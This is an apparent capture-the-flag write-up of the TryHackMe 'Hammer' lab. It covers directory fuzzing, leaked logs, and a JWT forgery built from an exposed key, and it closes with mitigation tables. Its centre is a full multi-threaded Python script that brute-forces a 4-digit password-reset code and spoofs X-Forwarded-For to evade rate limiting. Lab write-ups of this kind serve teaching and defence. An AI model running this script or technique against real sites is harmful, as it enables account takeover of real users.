TryHackMe: Hammer
The room simulates a vulnerable web application with multiple exposed attack surfaces—authentication flows, password reset mechanisms, JWT misconfigurations, and log exposure. This write-up follows a Red Team–oriented mindset: comprehensive reconnaissance, stealthy data harvesting, and systematic exploitation across the authentication chain.
1️⃣ Recon
1.1 Nmap
Conducted active reconnaissance to map the exposed service surface, identify software versions, configurations, and uncover preliminary attack vectors.
1
$ nmap -sS -sV -sC -p- -T4 -n -Pn 10.10.229.71 -oN nmap-hammer.txt
1
2
3
4
5
6
7
8
9
10
11
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.2p1 Ubuntu 4ubuntu0.11 (Ubuntu Linux; protocol 2.0)
1337/tcp open http Apache httpd 2.4.41 ((Ubuntu))
| http-cookie-flags:
| /:
| PHPSESSID:
|_ httponly flag not set
|_http-server-header: Apache/2.4.41 (Ubuntu)
|_http-title: Login
MAC Address: 02:15:9F:72:5E:5D (Unknown)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
Key findings:
1
2
22/tcp OpenSSH 8.2p1 (Ubuntu)
1337/tcp Apache 2.4.41 (Ubuntu)
Port 1337 exposes a login interface.
Attempted authentication using random credentials to observe the application’s error-handling behavior.
The system includes a password recovery workflow accessible via the login page.
Submitted random email addresses to test how strictly the input is validated during authentication.
Used Gobuster to enumerate directories and uncover the underlying structure of the application.
1.2 Gobuster (root dir)
1
$ gobuster dir -u http://10.10.229.71:1337 -w /usr/share/wordlists/SecLists/Discovery/Web-Content/raft-medium-directories.txt -x php,txt,bak,zip -t 40 -o gobuster-hammer.txt
1
2
3
4
5
6
7
8
9
10
/logout.php (Status: 302) [Size: 0] [--> index.php]
/config.php (Status: 200) [Size: 0]
/javascript (Status: 301) [Size: 326] [--> http://10.10.229.71:1337/javascript/]
/index.php (Status: 200) [Size: 1326]
/phpmyadmin (Status: 301) [Size: 326] [--> http://10.10.229.71:1337/phpmyadmin/]
/dashboard.php (Status: 302) [Size: 0] [--> logout.php]
/vendor (Status: 301) [Size: 322] [--> http://10.10.229.71:1337/vendor/]
/server-status (Status: 403) [Size: 280]
/.php (Status: 403) [Size: 280]
/reset_password.php (Status: 200) [Size: 1664]
Key findings from enumeration included several accessible and sensitive paths.
1
2
3
4
5
6
/logout.php
/config.php
/index.php
/phpmyadmin
/reset_password.php
/vendor
Note: The
/index.phpsource code may contain developer comments worth reviewing.
2️⃣ Enumerating Developer Comments — hmr_* Paths
Viewing the page source revealed developer comments disclosing hidden directories, suggesting a path pattern: hmr_*.
Launched a directory fuzzing attack to enumerate these paths.
1
$ ffuf -u 'http://10.10.229.71:1337/hmr_FUZZ' -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -mc 200,301,302,403 -t 40
Results uncovered several valid endpoints, including a critical log exposure:
1
2
3
4
/hmr_logs 200 ★ log leak
/hmr_js 301
/hmr_css 301
/hmr_images 301
The exposed logs revealed an internal email address associated with a developer.
3️⃣ Log Leaking ➜ Extracted a valid email address
Extracted valid email: tester@hammer.thm
1
tester@hammer.thm
This email is accepted in the Reset Password flow, confirming its legitimacy.
The reset form requests a 4-digit recovery code, valid for 180 seconds.
Submitted random recovery codes to analyze how the system responds to invalid inputs.
4️⃣ Password Reset Brute-Force with 4-Digit OTP
4.1 Manual Testing via Burp Suite
Observed the rate-limiting mechanism enforced during OTP submission.
Key observations:
- POST request to
/reset_password.phpwith{ email=tester@hammer.thm } - Server responds with a form expecting a
recovery_codeand hidden fields - The
Rate-Limit-Pendingheader increases with each attempt, suggesting IP-based throttling
Testing with custom X‑Forwarded‑For headers confirmed that the Rate-Limit-Pending value is IP-dependent.
4.2 Bypass rate‑limit via X‑Forwarded‑For + multithread script
Exploited the server’s trust in the X‑Forwarded‑For header to inject randomized IPs and obfuscate the rate-limit counter.
1
2
3
4
# br.py
...
headers={"X-Forwarded-For": f"127.0.{randint(0,255)}.{randint(0,255)}"}
...
Launched a multi-threaded brute-force attack to rapidly cycle through all 4-digit recovery codes.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
python
import requests
import random
import threading
from requests.adapters import HTTPAdapter
from urllib3.util.retry import Retry
url = "http://10.10.229.71:1337/reset_password.php"
num_threads = 50
stop_flag = threading.Event()
retry_strategy = Retry(
total=5,
backoff_factor=1,
status_forcelist=[500, 502, 503, 504],
raise_on_status=False,
)
adapter = HTTPAdapter(max_retries=retry_strategy)
session = requests.Session()
session.mount("http://", adapter)
cookies = {
"PHPSESSID": "g6r2fk6cao3jhm3db7hcq1skc8"
}
def brute_force_code(start, end):
for code in range(start, end):
if stop_flag.is_set():
return
code_str = f"{code:04d}"
try:
r = session.post(
url,
data={"recovery_code": code_str, "s": "180"},
headers={
"X-Forwarded-For": f"127.0.{random.randint(0, 255)}.{random.randint(0, 255)}"
},
timeout=10,
allow_redirects=False,
cookies=cookies
)
if stop_flag.is_set():
return
elif r.status_code == 302:
stop_flag.set()
print("[-] Timeout or redirect reached. Try again.")
return
elif "Invalid or expired recovery code!" not in r.text:
stop_flag.set()
print(f"[+] Found the recovery code: {code_str}")
print("[+] Sending the new password request.")
new_password = "Password123@"
session.post(
url,
data={
"new_password": new_password,
"confirm_password": new_password
},
headers={
"X-Forwarded-For": f"127.0.{random.randint(0, 255)}.{random.randint(0, 255)}"
},
cookies=cookies
)
print(f"[+] Password is set to {new_password}")
return
except requests.exceptions.RequestException as e:
print(f"[!] Error: {e}")
continue
def main():
print("[+] Sending the password reset request.")
session.post(url, data={"email": "tester@hammer.thm"}, cookies=cookies)
print("[+] Starting brute-force of recovery code.")
code_range = 10000
step = code_range // num_threads
threads = []
for i in range(num_threads):
start = i * step
end = start + step
thread = threading.Thread(target=brute_force_code, args=(start, end))
threads.append(thread)
thread.start()
for thread in threads:
thread.join()
if __name__ == "__main__":
main()
Run the script:
1
2
3
4
5
6
$ python3 brute_otp.py
[+] Sending the password reset request.
[+] Starting brute-force of recovery code.
[+] Found the recovery code: 5559
[+] Sending the new password request.
[+] Password is set to Password123@
Technique: When the correct recovery code is entered, the server allows a password reset without requiring any additional verification.
5️⃣ Login → Dashboard & Flag #1
1
2
3
User : tester@hammer.thm
Pass : Password123@
URL : /dashboard.php
The dashboard banner reveals the first flag.
The interface provides a JSON-based command form, with certain commands restricted.
The ls command is permitted, allowing internal file listing.
The application automatically logs the user out after command execution.
6️⃣ Extract Private Key ➜ Forge JWT
6.1 Retrieved and read the file /188ade1.key
Extracted the secret key:
1
56058354efb3daa97ebab0efabd7a7d7
6.2 Current JWT (from token cookie)
Decoded JWT:
Modified the payload and re-encoded the JWT.
6.3 Forge Admin Token
Injected the forged token into both Header and Cookie for testing.
The server returned execution output from execute_command.php, confirming admin privileges.
7️⃣ Get Flag #2
8️⃣ Key Security Issues
| Vulnerability | Details | Recommended Fix |
|---|---|---|
| Directory Listing | /hmr_logs/ exposes server logs | Disable indexing (Options -Indexes) |
| Insecure Rate Limiting | IP-based throttling can be bypassed easily | Combine with session tokens or captchas |
| 4-Digit OTP | Small space, brute-force feasible | Increase length, use TOTP, add lockout |
| Secret Key Disclosure | Key file stored in webroot | Move outside webroot, restrict permissions |
| JWT Misuse | kid vulnerable to path injection | Enforce strict kid allowlist or use JWKS |
🧠 Summary
The Hammer room simulates a modern web application environment with critical authentication flaws, minimal input validation, and insecure recovery mechanisms. Through a Red Team–driven approach, the following attack chain was executed:
- Mapped exposed services (SSH + HTTP) and identified non-standard port usage.
- Uncovered sensitive directories via forced browsing (
Gobuster,ffuf), revealing developer comments and internal logs. - Extracted valid credentials from leaked logs without triggering any alarms.
- Circumvented OTP-based rate limiting by spoofing
X-Forwarded-Forheaders and leveraging a multi-threaded brute-force strategy. - Exploited improper JWT handling to forge admin tokens using a publicly accessible key.
- Achieved full access to the dashboard and extracted both flags without user interaction or privilege escalation.
This scenario reinforces the real-world risk of small oversights—such as exposed logs or weak rate-limiting logic—when chained effectively by a stealthy adversary.
🛡️ Mitigation & Recommendations
| Risk Area | Recommendation |
|---|---|
| Directory Exposure | Disable directory listing on web server (Options -Indexes) |
| Log Disclosure | Never store sensitive logs inside the webroot. Enforce strict permissions. |
| Authentication Bypass | Use email verification + CAPTCHA during reset flows. |
| Rate-Limiting | Implement per-user and per-session rate limits. Avoid relying on IP alone. |
| OTP Brute-Force | Use longer codes (6+ digits) and time-based tokens (TOTP). |
| JWT Key Management | Store secrets securely outside the deploy path. Rotate keys regularly. |
| JWT Verification Logic | Restrict alg and kid fields to a strict, pre-defined allowlist. |
Regular security reviews, logging anomaly detection, and internal code audits are essential to prevent similar compromise vectors.
🖚 This engagement demonstrates how minor flaws, when chained with precision and stealth, can lead to full application compromise.























